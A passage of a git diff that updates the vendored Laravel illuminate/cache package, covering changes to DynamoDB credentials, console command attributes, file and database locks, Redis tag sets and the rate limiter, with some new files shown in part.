protected function newDynamodbClient(array $config) 'endpoint' => $config['endpoint'] ?? null, ]; - if (isset($config['key']) && isset($config['secret'])) { + if (! empty($config['key']) && ! empty($config['secret'])) { $dynamoConfig['credentials'] = Arr::only( - $config, ['key', 'secret', 'token'] + $config, ['key', 'secret'] ); } + if (! empty($config['token'])) { + $dynamoConfig['credentials']['token'] = $config['token']; + } + return new DynamoDbClient($dynamoConfig); } @@ -328,7 +326,7 @@ protected function getPrefix(array $config) * Get the cache connection configuration. * * @param string $name - * @return array + * @return array|null */ protected function getConfig($name) { @@ -368,7 +366,7 @@ public function setDefaultDriver($name) */ public function forgetDriver($name = null) { - $name = $name ?? $this->getDefaultDriver(); + $name ??= $this->getDefaultDriver(); foreach ((array) $name as $cacheName) { if (isset($this->stores[$cacheName])) { @@ -387,7 +385,7 @@ public function forgetDriver($name = null) */ public function purge($name = null) { - $name = $name ?? $this->getDefaultDriver(); + $name ??= $this->getDefaultDriver(); unset($this->stores[$name]); } @@ -406,6 +404,19 @@ public function extend($driver, Closure $callback) return $this; } + /** + * Set the application instance used by the manager. + * + * @param \Illuminate\Contracts\Foundation\Application $app + * @return $this + */ + public function setApplication($app) + { + $this->app = $app; + + return $this; + } + /** * Dynamically call the default driver instance. * diff --git a/vendor/illuminate/cache/Console/CacheTableCommand.php b/vendor/illuminate/cache/Console/CacheTableCommand.php index a8c78c9e0..b44794f95 100644 --- a/vendor/illuminate/cache/Console/CacheTableCommand.php +++ b/vendor/illuminate/cache/Console/CacheTableCommand.php @@ -2,11 +2,11 @@ namespace Illuminate\Cache\Console; -use Illuminate\Console\Command; -use Illuminate\Filesystem\Filesystem; -use Illuminate\Support\Composer; +use Illuminate\Console\MigrationGeneratorCommand; +use Symfony\Component\Console\Attribute\AsCommand; -class CacheTableCommand extends Command +#[AsCommand(name: 'cache:table')] +class CacheTableCommand extends MigrationGeneratorCommand { /** * The console command name. @@ -23,59 +23,22 @@ class CacheTableCommand extends Command protected $description = 'Create a migration for the cache database table'; /** - * The filesystem instance. + * Get the migration table name. * - * @var \Illuminate\Filesystem\Filesystem - */ - protected $files; - - /** - * @var \Illuminate\Support\Composer - */ - protected $composer; - - /** - * Create a new cache table command instance. - * - * @param \Illuminate\Filesystem\Filesystem $files - * @param \Illuminate\Support\Composer $composer - * @return void - */ - public function __construct(Filesystem $files, Composer $composer) - { - parent::__construct(); - - $this->files = $files; - $this->composer = $composer; - } - - /** - * Execute the console command. - * - * @return void + * @return string */ - public function handle() + protected function migrationTableName() { - $fullPath = $this->createBaseMigration(); - - $this->files->put($fullPath, $this->files->get(__DIR__.'/stubs/cache.stub')); - - $this->info('Migration created successfully!'); - - $this->composer->dumpAutoloads(); + return 'cache'; } /** - * Create a base migration file for the table. + * Get the path to the migration stub file. * * @return string */ - protected function createBaseMigration() + protected function migrationStubFile() { - $name = 'create_cache_table'; - - $path = $this->laravel->databasePath().'/migrations'; - - return $this->laravel['migration.creator']->create($name, $path); + return __DIR__.'/stubs/cache.stub'; } } diff --git a/vendor/illuminate/cache/Console/ClearCommand.php b/vendor/illuminate/cache/Console/ClearCommand.php index 8a37b8b29..23870d4db 100644 --- a/vendor/illuminate/cache/Console/ClearCommand.php +++ b/vendor/illuminate/cache/Console/ClearCommand.php @@ -5,9 +5,11 @@ use Illuminate\Cache\CacheManager; use Illuminate\Console\Command; use Illuminate\Filesystem\Filesystem; +use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputOption; +#[AsCommand(name: 'cache:clear')] class ClearCommand extends Command { /** @@ -69,14 +71,14 @@ public function handle() $this->flushFacades(); if (! $successful) { - return $this->error('Failed to clear cache. Make sure you have the appropriate permissions.'); + return $this->components->error('Failed to clear cache. Make sure you have the appropriate permissions.'); } $this->laravel['events']->dispatch( 'cache:cleared', [$this->argument('store'), $this->tags()] ); - $this->info('Application cache cleared!'); + $this->components->info('Application cache cleared successfully.'); } /** diff --git a/vendor/illuminate/cache/Console/ForgetCommand.php b/vendor/illuminate/cache/Console/ForgetCommand.php index eb0c06668..7f418afbf 100644 --- a/vendor/illuminate/cache/Console/ForgetCommand.php +++ b/vendor/illuminate/cache/Console/ForgetCommand.php @@ -4,7 +4,9 @@ use Illuminate\Cache\CacheManager; use Illuminate\Console\Command; +use Symfony\Component\Console\Attribute\AsCommand; +#[AsCommand(name: 'cache:forget')] class ForgetCommand extends Command { /** @@ -52,6 +54,6 @@ public function handle() $this->argument('key') ); - $this->info('The ['.$this->argument('key').'] key has been removed from the cache.'); + $this->components->info('The ['.$this->argument('key').'] key has been removed from the cache.'); } } diff --git a/vendor/illuminate/cache/Console/PruneStaleTagsCommand.php b/vendor/illuminate/cache/Console/PruneStaleTagsCommand.php new file mode 100644 index 000000000..dbb2f6bd0 --- /dev/null +++ b/vendor/illuminate/cache/Console/PruneStaleTagsCommand.php @@ -0,0 +1,60 @@ +store($this->argument('store')); + + if (! $cache->getStore() instanceof RedisStore) { + $this->components->error('Pruning cache tags is only necessary when using Redis.'); + + return 1; + } + + $cache->flushStaleTags(); + + $this->components->info('Stale cache tags pruned successfully.'); + } + + /** + * Get the console command arguments. + * + * @return array + */ + protected function getArguments() + { + return [ + ['store', InputArgument::OPTIONAL, 'The name of the store you would like to prune tags from'], + ]; + } +} diff --git a/vendor/illuminate/cache/Console/stubs/cache.stub b/vendor/illuminate/cache/Console/stubs/cache.stub index 88cd44590..b9c106be8 100644 --- a/vendor/illuminate/cache/Console/stubs/cache.stub +++ b/vendor/illuminate/cache/Console/stubs/cache.stub @@ -4,14 +4,12 @@ use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; -class CreateCacheTable extends Migration +return new class extends Migration { /** * Run the migrations. - * - * @return void */ - public function up() + public function up(): void { Schema::create('cache', function (Blueprint $table) { $table->string('key')->primary(); @@ -28,12 +26,10 @@ class CreateCacheTable extends Migration /** * Reverse the migrations. - * - * @return void */ - public function down() + public function down(): void { Schema::dropIfExists('cache'); Schema::dropIfExists('cache_locks'); } -} +}; diff --git a/vendor/illuminate/cache/DatabaseLock.php b/vendor/illuminate/cache/DatabaseLock.php index 7fd05c191..cf08dcf98 100644 --- a/vendor/illuminate/cache/DatabaseLock.php +++ b/vendor/illuminate/cache/DatabaseLock.php @@ -4,7 +4,6 @@ use Illuminate\Database\Connection; use Illuminate\Database\QueryException; -use Illuminate\Support\Carbon; class DatabaseLock extends Lock { @@ -29,6 +28,13 @@ class DatabaseLock extends Lock */ protected $lottery; + /** + * The default number of seconds that a lock should be held. + * + * @var int + */ + protected $defaultTimeoutInSeconds; + /** * Create a new lock instance. * @@ -40,13 +46,14 @@ class DatabaseLock extends Lock * @param array $lottery * @return void */ - public function __construct(Connection $connection, $table, $name, $seconds, $owner = null, $lottery = [2, 100]) + public function __construct(Connection $connection, $table, $name, $seconds, $owner = null, $lottery = [2, 100], $defaultTimeoutInSeconds = 86400) { parent::__construct($name, $seconds, $owner); $this->connection = $connection; $this->table = $table; $this->lottery = $lottery; + $this->defaultTimeoutInSeconds = $defaultTimeoutInSeconds; } /** @@ -56,8 +63,6 @@ public function __construct(Connection $connection, $table, $name, $seconds, $ow */ public function acquire() { - $acquired = false; - try { $this->connection->table($this->table)->insert([ 'key' => $this->name, @@ -66,7 +71,7 @@ public function acquire() ]); $acquired = true; - } catch (QueryException $e) { + } catch (QueryException) { $updated = $this->connection->table($this->table) ->where('key', $this->name) ->where(function ($query) { @@ -93,7 +98,9 @@ public function acquire() */ protected function expiresAt() { - return $this->seconds > 0 ? time() + $this->seconds : Carbon::now()->addDays(1)->getTimestamp(); + $lockTimeout = $this->seconds > 0 ? $this->seconds : $this->defaultTimeoutInSeconds; + + return time() + $lockTimeout; } /** diff --git a/vendor/illuminate/cache/DatabaseStore.php b/vendor/illuminate/cache/DatabaseStore.php index 32d7a9fc0..b8026e3e0 100644 --- a/vendor/illuminate/cache/DatabaseStore.php +++ b/vendor/illuminate/cache/DatabaseStore.php @@ -3,12 +3,12 @@ namespace Illuminate\Cache; use Closure; -use Exception; use Illuminate\Contracts\Cache\LockProvider; use Illuminate\Contracts\Cache\Store; use Illuminate\Database\ConnectionInterface; use Illuminate\Database\PostgresConnection; use Illuminate\Database\QueryException; +use Illuminate\Database\SqlServerConnection; use Illuminate\Support\InteractsWithTime; use Illuminate\Support\Str; @@ -58,6 +58,13 @@ class DatabaseStore implements LockProvider, Store */ protected $lockLottery; + /** + * The default number of seconds that a lock should be held. + * + * @var int + */ + protected $defaultLockTimeoutInSeconds; + /** * Create a new database store. * @@ -69,16 +76,18 @@ class DatabaseStore implements LockProvider, Store * @return void */ public function __construct(ConnectionInterface $connection, - $table, - $prefix = '', - $lockTable = 'cache_locks', - $lockLottery = [2, 100]) + $table, + $prefix = '', + $lockTable = 'cache_locks', + $lockLottery = [2, 100], + $defaultLockTimeoutInSeconds = 86400) { $this->table = $table; $this->prefix = $prefix; $this->connection = $connection; $this->lockTable = $lockTable; $this->lockLottery = $lockLottery; + $this->defaultLockTimeoutInSeconds = $defaultLockTimeoutInSeconds; } /** @@ -106,7 +115,7 @@ public function get($key) // item from the cache. Then we will return a null value since the cache is // expired. We will use "Carbon" to make this comparison with the column. if ($this->currentTime() >= $cache->expiration) { - $this->forget($key); + $this->forgetIfExpired($key); return; } @@ -128,13 +137,7 @@ public function put($key, $value, $seconds) $value = $this->serialize($value); $expiration = $this->getTime() + $seconds; - try { - return $this->table()->insert(compact('key', 'value', 'expiration')); - } catch (Exception $e) { - $result = $this->table()->where('key', $key)->update(compact('value', 'expiration')); - - return $result > 0; - } + return $this->table()->upsert(compact('key', 'value', 'expiration'), 'key') > 0; } /** @@ -147,21 +150,25 @@ public function put($key, $value, $seconds) */ public function add($key, $value, $seconds) { + if (! is_null($this->get($key))) { + return false; + } + $key = $this->prefix.$key; $value = $this->serialize($value); $expiration = $this->getTime() + $seconds; + if (! $this->getConnection() instanceof SqlServerConnection) { + return $this->table()->insertOrIgnore(compact('key', 'value', 'expiration')) > 0; + } + try { return $this->table()->insert(compact('key', 'value', 'expiration')); - } catch (QueryException $e) { - return $this->table() - ->where('key', $key) - ->where('expiration', '<=', $this->getTime()) - ->update([ - 'value' => $value, - 'expiration' => $expiration, - ]) >= 1; + } catch (QueryException) { + // ... } + + return false; } /** @@ -277,7 +284,8 @@ public function lock($name, $seconds = 0, $owner = null) $this->prefix.$name, $seconds, $owner, - $this->lockLottery + $this->lockLottery, + $this->defaultLockTimeoutInSeconds ); } @@ -306,6 +314,22 @@ public function forget($key) return true; } + /** + * Remove an item from the cache if it is expired. + * + * @param string $key + * @return bool + */ + public function forgetIfExpired($key) + { + $this->table() + ->where('key', '=', $this->prefix.$key) + ->where('expiration', '<=', $this->getTime()) + ->delete(); + + return true; + } + /** * Remove all items from the cache. * @@ -371,7 +395,7 @@ protected function serialize($value) { $result = serialize($value); - if ($this->connection instanceof PostgresConnection && Str::contains($result, "\0")) { + if ($this->connection instanceof PostgresConnection && str_contains($result, "\0")) { $result = base64_encode($result); } diff --git a/vendor/illuminate/cache/DynamoDbLock.php b/vendor/illuminate/cache/DynamoDbLock.php index 922260792..284b77a5b 100644 --- a/vendor/illuminate/cache/DynamoDbLock.php +++ b/vendor/illuminate/cache/DynamoDbLock.php @@ -36,9 +36,9 @@ public function acquire() { if ($this->seconds > 0) { return $this->dynamo->add($this->name, $this->owner, $this->seconds); - } else { - return $this->dynamo->add($this->name, $this->owner, 86400); } + + return $this->dynamo->add($this->name, $this->owner, 86400); } /** diff --git a/vendor/illuminate/cache/DynamoDbStore.php b/vendor/illuminate/cache/DynamoDbStore.php index aa28a789f..b9c6fde5f 100644 --- a/vendor/illuminate/cache/DynamoDbStore.php +++ b/vendor/illuminate/cache/DynamoDbStore.php @@ -129,6 +129,10 @@ public function get($key) */ public function many(array $keys) { + if (count($keys) === 0) { + return []; + } + $prefixedKeys = array_map(function ($key) { return $this->prefix.$key; }, $keys); @@ -211,7 +215,7 @@ public function put($key, $value, $seconds) } /** - * Store multiple items in the cache for a given number of $seconds. + * Store multiple items in the cache for a given number of seconds. * * @param array $values * @param int $seconds @@ -219,6 +223,10 @@ public function put($key, $value, $seconds) */ public function putMany(array $values, $seconds) { + if (count($values) === 0) { + return true; + } + $expiration = $this->toTimestamp($seconds); $this->dynamo->batchWriteItem([ @@ -277,14 +285,14 @@ public function add($key, $value, $seconds) ], 'ExpressionAttributeValues' => [ ':now' => [ - 'N' => (string) Carbon::now()->getTimestamp(), + 'N' => (string) $this->currentTime(), ], ], ]); return true; } catch (DynamoDbException $e) { - if (Str::contains($e->getMessage(), 'ConditionalCheckFailed')) { + if (str_contains($e->getMessage(), 'ConditionalCheckFailed')) { return false; } @@ -318,7 +326,7 @@ public function increment($key, $value = 1) ], 'ExpressionAttributeValues' => [ ':now' => [ - 'N' => (string) Carbon::now()->getTimestamp(), + 'N' => (string) $this->currentTime(), ], ':amount' => [ 'N' => (string) $value, @@ -329,7 +337,7 @@ public function increment($key, $value = 1) return (int) $response['Attributes'][$this->valueAttribute]['N']; } catch (DynamoDbException $e) { - if (Str::contains($e->getMessage(), 'ConditionalCheckFailed')) { + if (str_contains($e->getMessage(), 'ConditionalCheckFailed')) { return false; } @@ -363,7 +371,7 @@ public function decrement($key, $value = 1) ], 'ExpressionAttributeValues' => [ ':now' => [ - 'N' => (string) Carbon::now()->getTimestamp(), + 'N' => (string) $this->currentTime(), ], ':amount' => [ 'N' => (string) $value, @@ -374,7 +382,7 @@ public function decrement($key, $value = 1) return (int) $response['Attributes'][$this->valueAttribute]['N']; } catch (DynamoDbException $e) { - if (Str::contains($e->getMessage(), 'ConditionalCheckFailed')) { + if (str_contains($e->getMessage(), 'ConditionalCheckFailed')) { return false; } @@ -461,7 +469,7 @@ protected function toTimestamp($seconds) { return $seconds > 0 ? $this->availableAt($seconds) - : Carbon::now()->getTimestamp(); + : $this->currentTime(); } /** @@ -529,7 +537,7 @@ public function setPrefix($prefix) /** * Get the DynamoDb Client instance. * - * @return DynamoDbClient + * @return \Aws\DynamoDb\DynamoDbClient */ public function getClient() { diff --git a/vendor/illuminate/cache/FileLock.php b/vendor/illuminate/cache/FileLock.php new file mode 100644 index 000000000..a5638b683 --- /dev/null +++ b/vendor/illuminate/cache/FileLock.php @@ -0,0 +1,16 @@ +store->add($this->name, $this->owner, $this->seconds); + } +} diff --git a/vendor/illuminate/cache/FileStore.php b/vendor/illuminate/cache/FileStore.php index 42292295f..9d5e2e95c 100644 --- a/vendor/illuminate/cache/FileStore.php +++ b/vendor/illuminate/cache/FileStore.php @@ -12,7 +12,7 @@ class FileStore implements Store, LockProvider { - use InteractsWithTime, HasCacheLock, RetrievesMultipleKeys; + use InteractsWithTime, RetrievesMultipleKeys; /** * The Illuminate Filesystem instance. @@ -28,6 +28,13 @@ class FileStore implements Store, LockProvider */ protected $directory; + /** + * The file cache lock directory. + * + * @var string|null + */ + protected $lockDirectory; + /** * Octal representation of the cache file permissions. * @@ -102,7 +109,7 @@ public function add($key, $value, $seconds) try { $file->getExclusiveLock(); - } catch (LockTimeoutException $e) { + } catch (LockTimeoutException) { $file->close(); return false; @@ -200,6 +207,38 @@ public function forever($key, $value) return $this->put($key, $value, 0); } + /** + * Get a lock instance. + * + * @param string $name + * @param int $seconds + * @param string|null $owner + * @return \Illuminate\Contracts\Cache\Lock + */ + public function lock($name, $seconds = 0, $owner = null) + { + $this->ensureCacheDirectoryExists($this->lockDirectory ?? $this->directory); + + return new FileLock( + new static($this->files, $this->lockDirectory ?? $this->directory, $this->filePermission), + $name, + $seconds, + $owner + ); + } + + /** + * Restore a lock instance using the owner identifier. + * + * @param string $name + * @param string $owner + * @return \Illuminate\Contracts\Cache\Lock + */ + public function restoreLock($name, $owner) + { + return $this->lock($name, 0, $owner); + } + /** * Remove an item from the cache. * @@ -251,10 +290,12 @@ protected function getPayload($key) // just return null. Otherwise, we'll get the contents of the file and get // the expiration UNIX timestamps from the start of the file's contents. try { - $expire = substr( - $contents = $this->files->get($path, true), 0, 10 - ); - } catch (Exception $e) { + if (is_null($contents = $this->files->get($path, true))) { + return $this->emptyPayload(); + } + + $expire = substr($contents, 0, 10); + } catch (Exception) { return $this->emptyPayload(); } @@ -269,7 +310,7 @@ protected function getPayload($key) try { $data = unserialize(substr($contents, 10)); - } catch (Exception $e) { + } catch (Exception) { $this->forget($key); return $this->emptyPayload(); @@ -299,7 +340,7 @@ protected function emptyPayload() * @param string $key * @return string */ - protected function path($key) + public function path($key) { $parts = array_slice(str_split($hash = sha1($key), 2), 0, 2); @@ -339,6 +380,19 @@ public function getDirectory() return $this->directory; } + /** + * Set the cache directory where locks should be stored. + * + * @param string|null $lockDirectory + * @return $this + */ + public function setLockDirectory($lockDirectory) + { + $this->lockDirectory = $lockDirectory; + + return $this; + } + /** * Get the cache key prefix. * diff --git a/vendor/illuminate/cache/Lock.php b/vendor/illuminate/cache/Lock.php index bed170507..4868fdf82 100644 --- a/vendor/illuminate/cache/Lock.php +++ b/vendor/illuminate/cache/Lock.php @@ -5,6 +5,7 @@ use Illuminate\Contracts\Cache\Lock as LockContract; use Illuminate\Contracts\Cache\LockTimeoutException; use Illuminate\Support\InteractsWithTime; +use Illuminate\Support\Sleep; use Illuminate\Support\Str; abstract class Lock implements LockContract @@ -114,7 +115,7 @@ public function block($seconds, $callback = null) $starting = $this->currentTime(); while (! $this->acquire()) { - usleep($this->sleepMilliseconds * 1000); + Sleep::usleep($this->sleepMilliseconds * 1000); if ($this->currentTime() - $seconds >= $starting) { throw new LockTimeoutException; @@ -147,7 +148,7 @@ public function owner() * * @return bool */ - protected function isOwnedByCurrentProcess() + public function isOwnedByCurrentProcess() { return $this->getCurrentOwner() === $this->owner; } diff --git a/vendor/illuminate/cache/RateLimiter.php b/vendor/illuminate/cache/RateLimiter.php index 3786e90cf..afdb9b25a 100644 --- a/vendor/illuminate/cache/RateLimiter.php +++ b/vendor/illuminate/cache/RateLimiter.php @@ -53,7 +53,7 @@ public function for(string $name, Closure $callback) * Get the given named rate limiter. * * @param string $name - * @return \Closure + * @return \Closure|null */ public function limiter(string $name) { @@ -75,7 +75,11 @@ public function attempt($key, $maxAttempts, Closure $callback, $decaySeconds = 6 return false; } - return tap($callback() ?: true, function () use ($key, $decaySeconds) { + if (is_null($result = $callback())) { + $result = true; + } + + return tap($result, function () use ($key, $decaySeconds) { $this->hit($key, $decaySeconds); }); } @@ -89,10 +93,8 @@ public function attempt($key, $maxAttempts, Closure $callback, $decaySeconds = 6 */ public function tooManyAttempts($key, $maxAttempts) { - $key = $this->cleanRateLimiterKey($key); - if ($this->attempts($key) >= $maxAttempts) { - if ($this->cache->has($key.':timer')) { + if ($this->cache->has($this->cleanRateLimiterKey($key).':timer')) { return true; } @@ -103,13 +105,26 @@ public function tooManyAttempts($key, $maxAttempts) } /** - * Increment the counter for a given key for a given decay time. + * Increment (by 1) the counter for a given key for a given decay time. * * @param string $key * @param int $decaySeconds * @return int */ public function hit($key, $decaySeconds = 60) + { + return $this->increment($key, $decaySeconds); + } + + /** + * Increment the counter for a given key for a given decay time by a given amount. + * + * @param string $key + * @param int $decaySeconds + * @param int $amount + * @return int + */ + public function increment($key, $decaySeconds = 60, $amount = 1) { $key = $this->cleanRateLimiterKey($key); @@ -119,7 +134,7 @@ public function hit($key, $decaySeconds = 60) $added = $this->cache->add($key, 0, $decaySeconds); - $hits = (int) $this->cache->increment($key); + $hits = (int) $this->cache->increment($key, $amount); if (! $added && $hits == 1) { $this->cache->put($key, 1, $decaySeconds); diff --git a/vendor/illuminate/cache/RateLimiting/Limit.php b/vendor/illuminate/cache/RateLimiting/Limit.php index 330cab39b..9bf058bb0 100644 --- a/vendor/illuminate/cache/RateLimiting/Limit.php +++ b/vendor/illuminate/cache/RateLimiting/Limit.php @@ -7,7 +7,7 @@ class Limit /** * The rate limit signature key. * - * @var mixed|string + * @var mixed */ public $key; @@ -35,7 +35,7 @@ class Limit /** * Create a new limit instance. * - * @param mixed|string $key + * @param mixed $key * @param int $maxAttempts * @param int $decayMinutes * @return void @@ -107,7 +107,7 @@ public static function none() /** * Set the key of the rate limit. * - * @param string $key + * @param mixed $key * @return $this */ public function by($key) diff --git a/vendor/illuminate/cache/RedisLock.php b/vendor/illuminate/cache/RedisLock.php index 481b811d3..67e3e0ac0 100644 --- a/vendor/illuminate/cache/RedisLock.php +++ b/vendor/illuminate/cache/RedisLock.php @@ -36,9 +36,9 @@ public function acquire() { if ($this->seconds > 0) { return $this->redis->set($this->name, $this->owner, 'EX', $this->seconds, 'NX') == true; - } else { - return $this->redis->setnx($this->name, $this->owner) === 1; } + + return $this->redis->setnx($this->name, $this->owner) === 1; } /** diff --git a/vendor/illuminate/cache/RedisStore.php b/vendor/illuminate/cache/RedisStore.php index 4896c9183..dbbeb40a4 100644 --- a/vendor/illuminate/cache/RedisStore.php +++ b/vendor/illuminate/cache/RedisStore.php @@ -5,6 +5,9 @@ use Illuminate\Contracts\Cache\LockProvider; use Illuminate\Contracts\Redis\Factory as Redis; use Illuminate\Redis\Connections\PhpRedisConnection; +use Illuminate\Redis\Connections\PredisConnection; +use Illuminate\Support\LazyCollection; +use Illuminate\Support\Str; class RedisStore extends TaggableStore implements LockProvider { @@ -74,6 +77,10 @@ public function get($key) */ public function many(array $keys) { + if (count($keys) === 0) { + return []; + } + $results = []; $values = $this->connection()->mget(array_map(function ($key) { @@ -111,12 +118,20 @@ public function put($key, $value, $seconds) */ public function putMany(array $values, $seconds) { + $serializedValues = []; + + foreach ($values as $key => $value) { + $serializedValues[$this->prefix.$key] = $this->serialize($value); + } + $this->connection()->multi(); $manyResult = null; - foreach ($values as $key => $value) { - $result = $this->put($key, $value, $seconds); + foreach ($serializedValues as $key => $value) { + $result = (bool) $this->connection()->setex( + $key, (int) max(1, $seconds), $value + ); $manyResult = is_null($manyResult) ? $result : $result && $manyResult; } @@ -235,6 +250,18 @@ public function flush() return true; } + /** + * Remove all expired tag set entries. + * + * @return void + */ + public function flushStaleTags() + { + foreach ($this->currentTags()->chunk(1000) as $tags) { + $this->tags($tags->all())->flushStale(); + } + } + /** * Begin executing a new tags operation. * @@ -244,10 +271,55 @@ public function flush() public function tags($names) { return new RedisTaggedCache( - $this, new TagSet($this, is_array($names) ? $names : func_get_args()) + $this, new RedisTagSet($this, is_array($names) ? $names : func_get_args()) ); } + /** + * Get a collection of all of the cache tags currently being used. + * + * @param int $chunkSize + * @return \Illuminate\Support\LazyCollection + */ + protected function currentTags($chunkSize = 1000) + { + $connection = $this->connection(); + + // Connections can have a global prefix... + $connectionPrefix = match (true) { + $connection instanceof PhpRedisConnection => $connection->_prefix(''), + $connection instanceof PredisConnection => $connection->getOptions()->prefix ?: '', + default => '', + }; + + $prefix = $connectionPrefix.$this->getPrefix(); + + return LazyCollection::make(function () use ($connection, $chunkSize, $prefix) { + $cursor = $defaultCursorValue = '0'; + + do { + [$cursor, $tagsChunk] = $connection->scan( + $cursor, + ['match' => $prefix.'tag:*:entries', 'count' => $chunkSize] + ); + + if (! is_array($tagsChunk)) { + break; + } + + $tagsChunk = array_unique($tagsChunk); + + if (empty($tagsChunk)) { + continue; + } + + foreach ($tagsChunk as $tag) { + yield $tag; + } + } while (((string) $cursor) !== $defaultCursorValue); + })->map(fn (string $tagKey) => Str::match('/^'.preg_quote($prefix, '/').'tag:(.*):entries$/', $tagKey)); + } + /** * Get the Redis connection instance. * diff --git a/vendor/illuminate/cache/RedisTagSet.php b/vendor/illuminate/cache/RedisTagSet.php new file mode 100644 index 000000000..b5fd0e259 --- /dev/null +++ b/vendor/illuminate/cache/RedisTagSet.php @@ -0,0 +1,125 @@ +addSeconds($ttl)->getTimestamp(); + + foreach ($this->tagIds() as $tagKey) { + if ($updateWhen) { + $this->store->connection()->zadd($this->store->getPrefix().$tagKey, $updateWhen, $ttl, $key); + } else { + $this->store->connection()->zadd($this->store->getPrefix().$tagKey, $ttl, $key); + } + } + } + + /** + * Get all of the cache entry keys for the tag set. + * + * @return \Illuminate\Support\LazyCollection + */ + public function entries() + { + return LazyCollection::make(function () { + foreach ($this->tagIds() as $tagKey) { + $cursor = $defaultCursorValue = '0'; + + do { + [$cursor, $entries] = $this->store->connection()->zscan( + $this->store->getPrefix().$tagKey, + $cursor, + ['match' => '*', 'count' => 1000] + ); + + if (! is_array($entries)) { + break; + } + + $entries = array_unique(array_keys($entries)); + + if (count($entries) === 0) { + continue; + } + + foreach ($entries as $entry) { + yield $entry; + } + } while (((string) $cursor) !== $defaultCursorValue); + } + }); + } + + /** + * Remove the stale entries from the tag set. + * + * @return void + */ + public function flushStaleEntries() + { + $this->store->connection()->pipeline(function ($pipe) { + foreach ($this->tagIds() as $tagKey) { + $pipe->zremrangebyscore($this->store->getPrefix().$tagKey, 0, Carbon::now()->getTimestamp()); + } + }); + } + + /** + * Flush the tag from the cache. + * + * @param string $name + */ + public function flushTag($name) + { + return $this->resetTag($name); + } + + /** + * Reset the tag and return the new tag identifier. + * + * @param string $name + * @return string + */ + public function resetTag($name) + { + $this->store->forget($this->tagKey($name)); + + return $this->tagId($name); + } + + /** + * Get the unique tag identifier for a given tag. + * + * @param string $name + * @return string + */ + public function tagId($name) + { + return "tag:{$name}:entries"; + } + + /** + * Get the tag identifier key for a given tag. + * + * @param string $name + * @return string + */ + public function tagKey($name) + { + return "tag:{$name}:entries"; + } +} diff --git a/vendor/illuminate/cache/RedisTaggedCache.php b/vendor/illuminate/cache/RedisTaggedCache.php index 7863dbc0a..8846844b4 100644 --- a/vendor/illuminate/cache/RedisTaggedCache.php +++ b/vendor/illuminate/cache/RedisTaggedCache.php @@ -5,18 +5,30 @@ class RedisTaggedCache extends TaggedCache { /** - * Forever reference key. + * Store an item in the cache if the key does not exist. * - * @var string + * @param string $key + * @param mixed $value + * @param \DateTimeInterface|\DateInterval|int|null $ttl + * @return bool */ - const REFERENCE_KEY_FOREVER = 'forever_ref'; + public function add($key, $value, $ttl = null) + { + $seconds = null; - /** - * Standard reference key. - * - * @var string - */ - const REFERENCE_KEY_STANDARD = 'standard_ref'; + if ($ttl !== null) { + $seconds = $this->getSeconds($ttl); + + if ($seconds > 0) { + $this->tags->addEntry( + $this->itemKey($key), + $seconds + ); + } + } + + return parent::add($key, $value, $ttl); + } /** * Store an item in the cache. @@ -28,11 +40,18 @@ class RedisTaggedCache extends TaggedCache */ public function put($key, $value, $ttl = null) { - if ($ttl === null) { + if (is_null($ttl)) { return $this->forever($key, $value); } - $this->pushStandardKeys($this->tags->getNamespace(), $key); + $seconds = $this->getSeconds($ttl); + + if ($seconds > 0) { + $this->tags->addEntry( + $this->itemKey($key), + $seconds + ); + } return parent::put($key, $value, $ttl); } @@ -46,7 +65,7 @@ public function put($key, $value, $ttl = null) */ public function increment($key, $value = 1) { - $this->pushStandardKeys($this->tags->getNamespace(), $key); + $this->tags->addEntry($this->itemKey($key), updateWhen: 'NX'); return parent::increment($key, $value); } @@ -60,7 +79,7 @@ public function increment($key, $value = 1) */ public function decrement($key, $value = 1) { - $this->pushStandardKeys($this->tags->getNamespace(), $key); + $this->tags->addEntry($this->itemKey($key), updateWhen: 'NX'); return parent::decrement($key, $value); } @@ -74,7 +93,7 @@ public function decrement($key, $value = 1) */ public function forever($key, $value) { - $this->pushForeverKeys($this->tags->getNamespace(), $key); + $this->tags->addEntry($this->itemKey($key)); return parent::forever($key, $value); } @@ -86,129 +105,37 @@ public function forever($key, $value) */ public function flush() { - $this->deleteForeverKeys(); - $this->deleteStandardKeys(); - + $this->flushValues(); $this->tags->flush(); return true; } /** - * Store standard key references into store. - * - * @param string $namespace - * @param string $key - * @return void - */ - protected function pushStandardKeys($namespace, $key) - { - $this->pushKeys($namespace, $key, self::REFERENCE_KEY_STANDARD); - } - - /** - * Store forever key references into store. - * - * @param string $namespace - * @param string $key - * @return void - */ - protected function pushForeverKeys($namespace, $key) - { - $this->pushKeys($namespace, $key, self::REFERENCE_KEY_FOREVER); - } - - /** - * Store a reference to the cache key against the reference key. - * - * @param string $namespace - * @param string $key - * @param string $reference - * @return void - */ - protected function pushKeys($namespace, $key, $reference) - { - $fullKey = $this->store->getPrefix().sha1($namespace).':'.$key; - - foreach (explode('|', $namespace) as $segment) { - $this->store->connection()->sadd($this->referenceKey($segment, $reference), $fullKey); - } - } - - /** - * Delete all of the items that were stored forever. - * - * @return void - */ - protected function deleteForeverKeys() - { - $this->deleteKeysByReference(self::REFERENCE_KEY_FOREVER); - } - - /** - * Delete all standard items. - * - * @return void - */ - protected function deleteStandardKeys() - { - $this->deleteKeysByReference(self::REFERENCE_KEY_STANDARD); - } - - /** - * Find and delete all of the items that were stored against a reference. + * Flush the individual cache entries for the tags. * - * @param string $reference * @return void */ - protected function deleteKeysByReference($reference) + protected function flushValues() { - foreach (explode('|', $this->tags->getNamespace()) as $segment) { - $this->deleteValues($segment = $this->referenceKey($segment, $reference)); + $entries = $this->tags->entries() + ->map(fn (string $key) => $this->store->getPrefix().$key) + ->chunk(1000); - $this->store->connection()->del($segment); + foreach ($entries as $cacheKeys) { + $this->store->connection()->del(...$cacheKeys); } } /** - * Delete item keys that have been stored against a reference. + * Remove all stale reference entries from the tag set. * - * @param string $referenceKey - * @return void + * @return bool */ - protected function deleteValues($referenceKey) + public function flushStale() { - $cursor = $defaultCursorValue = '0'; - - do { - [$cursor, $valuesChunk] = $this->store->connection()->sscan( - $referenceKey, $cursor, ['match' => '*', 'count' => 1000] - ); - - // PhpRedis client returns false if set does not exist or empty. Array destruction - // on false stores null in each variable. If valuesChunk is null, it means that - // there were not results from the previously executed "sscan" Redis command. - if (is_null($valuesChunk)) { - break; - } + 